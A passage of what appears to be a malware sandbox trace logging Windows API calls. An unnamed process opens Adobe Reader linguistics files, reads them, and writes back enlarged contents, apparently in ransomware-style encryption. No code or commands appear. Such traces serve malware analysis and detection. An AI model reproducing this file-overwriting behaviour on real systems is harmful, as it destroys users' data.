(hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.295] ReleaseMutex (hMutex=0x128) returned 1 [0042.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0042.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl.fca", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctl.fca", lpUsedDefaultChar=0x0) returned 7 [0042.295] ReadFile (in: hFile=0x1ac, lpBuffer=0x275b028, nNumberOfBytesToRead=0x314, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x275b028*, lpNumberOfBytesRead=0x2f4f2bc*=0x314, lpOverlapped=0x0) returned 1 [0042.301] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0042.301] WriteFile (in: hFile=0x1ac, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x89c, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x2f4f2d0*=0x89c, lpOverlapped=0x0) returned 1 [0042.301] CloseHandle (hObject=0x1ac) returned 1 [0042.302] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dan45.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dan45.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.303] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.303] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x74c00 [0042.303] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.303] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.303] ReleaseMutex (hMutex=0x128) returned 1 [0042.303] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan45.lex", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0042.303] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan45.lex", cchWideChar=9, lpMultiByteStr=0x1e62fec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dan45.lex", lpUsedDefaultChar=0x0) returned 9 [0042.303] ReadFile (in: hFile=0x1ac, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0042.305] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x73c00 [0042.305] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.306] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x73c00 [0042.306] WriteFile (in: hFile=0x1ac, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.307] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0042.307] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a45df8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a45df8*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0042.307] CloseHandle (hObject=0x1ac) returned 1 [0042.307] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\engphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\engphon.env"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.308] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.308] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x9a3 [0042.308] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.308] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.308] ReleaseMutex (hMutex=0x128) returned 1 [0042.308] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="engphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0042.308] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="engphon.env", cchWideChar=11, lpMultiByteStr=0x1e630cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="engphon.env", lpUsedDefaultChar=0x0) returned 11 [0042.309] ReadFile (in: hFile=0x1ac, lpBuffer=0x3a45e18, nNumberOfBytesToRead=0x9a3, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x3a45e18*, lpNumberOfBytesRead=0x2f4f2bc*=0x9a3, lpOverlapped=0x0) returned 1 [0042.310] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0042.310] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0xf2b, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2f4f2d0*=0xf2b, lpOverlapped=0x0) returned 1 [0042.310] CloseHandle (hObject=0x1ac) returned 1 [0042.310] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\frn.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\frn.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.311] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.311] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x2000 [0042.311] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.311] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.311] ReleaseMutex (hMutex=0x128) returned 1 [0042.312] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0042.312] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn.hyp", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="frn.hyp", lpUsedDefaultChar=0x0) returned 7 [0042.312] ReadFile (in: hFile=0x1ac, lpBuffer=0x25c4dd8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesRead=0x2f4f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0042.313] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0042.313] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x2f4f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0042.314] CloseHandle (hObject=0x1ac) returned 1 [0042.314] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm104.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\grm104.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.315] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.315] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x98af7 [0042.315] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.315] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.315] ReleaseMutex (hMutex=0x128) returned 1 [0042.315] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="grm104.hsp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0042.315] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="grm104.hsp", cchWideChar=10, lpMultiByteStr=0x1e6338c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="grm104.hsp", lpUsedDefaultChar=0x0) returned 10 [0042.315] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2f4f278*=0xf000, lpOverlapped=0x0) returned 1 [0042.317] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.318] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x97af7 [0042.318] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.320] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x97af7 [0042.320] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c8508*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c8508*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.321] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0042.321] WriteFile (in: hFile=0x1ac, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2f4f28c*=0xf000, lpOverlapped=0x0) returned 1 [0042.321] WriteFile (in: hFile=0x1ac, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.321] CloseHandle (hObject=0x1ac) returned 1 [0042.321] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\hrvphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\hrvphon.env"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.322] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.322] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1f21 [0042.322] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.322] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.322] ReleaseMutex (hMutex=0x128) returned 1 [0042.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hrvphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0042.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hrvphon.env", cchWideChar=11, lpMultiByteStr=0x1e630cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hrvphon.env", lpUsedDefaultChar=0x0) returned 11 [0042.322] ReadFile (in: hFile=0x1ac, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x1f21, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2f4f2bc*=0x1f21, lpOverlapped=0x0) returned 1 [0042.324] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0042.325] WriteFile (in: hFile=0x1ac, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x24a9, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2f4f2d0*=0x24a9, lpOverlapped=0x0) returned 1 [0042.325] CloseHandle (hObject=0x1ac) returned 1 [0042.325] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\lav.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\lav.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.326] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.326] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x3400 [0042.326] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.327] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.327] ReleaseMutex (hMutex=0x128) returned 1 [0042.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lav.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0042.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lav.hyp", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lav.hyp", lpUsedDefaultChar=0x0) returned 7 [0042.327] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.329] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x2400 [0042.329] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.329] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x2400 [0042.329] WriteFile (in: hFile=0x1ac, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.330] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0042.330] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.330] CloseHandle (hObject=0x1ac) returned 1 [0042.330] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\nrw32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\nrw32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.331] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.331] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x7ff1 [0042.331] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.331] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.331] ReleaseMutex (hMutex=0x128) returned 1 [0042.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nrw32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0042.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nrw32.clx", cchWideChar=9, lpMultiByteStr=0x1e633ac, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nrw32.clx", lpUsedDefaultChar=0x0) returned 9 [0042.331] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.333] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x6ff1 [0042.333] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.333] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x6ff1 [0042.334] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.334] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0042.334] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.334] CloseHandle (hObject=0x1ac) returned 1 [0042.334] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\pol32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\pol32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.335] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.335] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x7ffe [0042.335] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.336] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.336] ReleaseMutex (hMutex=0x128) returned 1 [0042.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pol32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0042.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pol32.clx", cchWideChar=9, lpMultiByteStr=0x1e631ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pol32.clx", lpUsedDefaultChar=0x0) returned 9 [0042.336] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.337] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x6ffe [0042.337] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.338] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x6ffe [0042.338] WriteFile (in: hFile=0x1ac, lpBuffer=0x2736338*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: 